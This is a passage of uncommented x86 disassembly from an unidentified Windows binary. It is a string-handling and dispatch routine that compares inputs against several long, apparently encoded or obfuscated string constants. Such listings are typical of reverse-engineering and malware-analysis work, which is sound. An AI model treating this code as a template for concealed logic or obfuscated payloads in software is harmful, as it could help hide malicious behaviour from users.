add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435d20
lea ecx, [ebp - 0x1a0]
call fcn.00434b80
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.00465660
lea ecx, [ebp - 0xe4]
call fcn.0042ec80
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x52a671
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527450
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a706
jmp 0x527450
sub esp, 0x18
mov ecx, esp
push 0x5c4748
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527c85
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527c50
sub ecx, dword [ebp - 0x20]
je 0x527c85
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527c85
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x527c70
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x527c8c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527cc0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527cb6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a70b
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x528573
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527d00
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052ab80
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.0044a2a0
add esp, 0x14
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a710
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
push str.Nlpt2Rno71HjJ_ZHg
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xd
call fcn.0042f380
test al, al
jne 0x527e11
push 0x13
push str.Nlpt2Rno71HjJ_ZHg
lea ecx, [ebp - 0x2c]
call fcn.0042f6b0
mov byte [ebp - 4], 0xe
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a71a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.M2VyvUH8EQASRnZDB81
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xf
call fcn.0042f380
test al, al
jne 0x527e55
push 0x13
push str.M2VyvUH8EQASRnZDB81
lea ecx, [ebp - 0x3c]
call fcn.0042f6b0
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5c93fc]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004455a0
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x11
call fcn.00434c00
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435d20
lea ecx, [ebp - 0x1a0]
call fcn.00434b80
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a724
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042f380
test al, al
jne 0x527f48
test esi, esi
jne 0x527f24
xor ecx, ecx
jmp 0x527f3f
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x527f30
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042f6b0
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042ea10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004455a0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.00448840
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042ec80
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5c93fc]
lea ecx, [ecx - 0x10]
call fcn.0042ea10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004455a0
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x17
call fcn.00434c00
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435d20
lea ecx, [ebp - 0x1a0]
call fcn.00434b80
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a72e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042f380
test al, al
jne 0x52807c
test esi, esi
jne 0x52805f
xor ecx, ecx
jmp 0x528073
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x528064
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042f6b0
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042ea10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004455a0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.00448840
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042ec80
mov byte [ebp - 4], 0x1d
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a738
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a742
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push str.VnY5RdS1UaWAUmdVANV2LVRXcGiIfaXxw1aF00cUORhKtV2xWKQlc5yEF8QpJD9KfOiYTzV1dssVk0HnIxNEmCCs
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x1f
call fcn.0042f380
test al, al
jne 0x528128
push 0x59
push str.VnY5RdS1UaWAUmdVANV2LVRXcGiIfaXxw1aF00cUORhKtV2xWKQlc5yEF8QpJD9KfOiYTzV1dssVk0HnIxNEmCCs
lea ecx, [ebp - 0x44]
call fcn.0042f6b0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x9f
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.SHJBlNjNQBIEY4WUHtNiah0nAUC0AHYwwzQUC5Q9LhczNfyYUaLhRyUCWNDMOh5jtDGpX8NkVqBXmNZNIRZj6DG0FLMhpqlHTVPaOBdjSDGpXfNkVqyDzwaQagEpXWT8tiNl8mCFi5BoakhjiWS4ULJERqbDzw
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042d740
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x21
call fcn.00434c00
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
mov eax, dword [ebp - 0x74]
cmovae ecx, dword [ebp - 0x84]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435d20
lea ecx, [ebp - 0x1a0]
call fcn.00434b80
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea ecx, [ebp - 0x298]
cmovae eax, dword [ebp - 0x68]
mov dword [ebp - 0x50], eax
call fcn.00434c00
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x298]
call fcn.00435d20
lea ecx, [ebp - 0x298]
call fcn.00434b80
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1a0]
cmovae edi, dword [ebp - 0x130]
call fcn.00434c00
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435d20
lea ecx, [ebp - 0x1a0]
call fcn.00434b80
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.0042eb20
lea ecx, [ebp - 0x20]
call fcn.004451c0
mov byte [ebp - 4], 0x28
push dword [ebp - 0x50]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00421a10
mov edx, dword [ebp - 0x20]
or edi, 0xffffffff
add esp, 0x2c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5282c7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042ec80
lea ecx, [ebp - 0x130]
call fcn.0042ec80
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x21
call fcn.0042ec80
mov eax, dword [ebp - 0x38]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x50], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042ea10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004455a0
mov ecx, dword [ebp - 0x50]
add esp, 4
call fcn.004625b0
mov eax, dword [ebp - 0x38]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042ea10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004625b0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x52838e
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x528384
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a74c
push ecx
push edx
call fcn.0054dc64
add esp, 8
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5283a8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5283bf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5283d6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x5283eb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x528422
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528418
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a74c
push ecx
push edx
call fcn.0054dc64
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp ecx, 0x10
jb 0x528471
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528467
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a74c
push ecx
push edx
call fcn.0054dc64
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x5284c6
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5284bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a74c
push ecx
push edx
call fcn.0054dc64
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x52851b
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528511
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a74c
push ecx
push edx
call fcn.0054dc64
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52a671
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527450
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a74c
jmp 0x527450
sub esp, 0x18
mov ecx, esp
push 0x5c47a8
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5285d5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5285a0
sub ecx, dword [ebp - 0x20]
je 0x5285d5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5285d5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5285c0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5285dc
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528610
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528606
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a751
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5288a8
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528650
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052ab80
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a756
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x2c
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a760
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x2e
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a76a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x30
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a774
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a77e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x9c]
call fcn.00448e40
mov esi, dword [ebp - 0x38]
add esp, 0x14
mov ecx, 0x5c94c0
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00423180
mov edi, dword [ebp - 0x70]
cmp byte [edi + 0xd], 0
jne 0x52a788
lea eax, [edi + 0x10]
push eax
push esi
call fcn.00427130
test al, al
jne 0x52a788
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042ea10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x6c], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042ea10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0x40], esp
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.0042ea10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.0042ea10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x70], esi
mov edi, dword [ebp - 0x24]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042ea10
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.00406480
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x528848
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52885f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x528876
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52888d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x528536
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x528536
sub esp, 0x18
mov ecx, esp
push 0x5c48c8
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528905
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5288d0
sub ecx, dword [ebp - 0x30]
je 0x528905
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528905
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5288f0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52890c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528940
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528936
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a74c
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x528b02
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528980
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ab80
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a792
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a79c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x3d
call fcn.0042f110
mov ecx, eax
test ecx, ecx
je 0x52a7a6
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.0044b780
mov eax, dword [ebp - 0x38]
add esp, 4
mov esi, esp
mov dword [ebp - 0x70], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.0042ea10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042ea10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042ea10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042ea10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.00408320
mov edx, dword [ebp - 0x30]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x528acd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x528ae4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x528536
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x528536
sub esp, 0x18
mov ecx, esp
push 0x5c46e8
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528b65
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528b30
sub ecx, dword [ebp - 0x30]
je 0x528b65
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528b65
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x528b50
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x528b6c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528ba0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528b96
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a74c
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x528e65
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528be0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ab80
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x594824
call fcn.0042be60
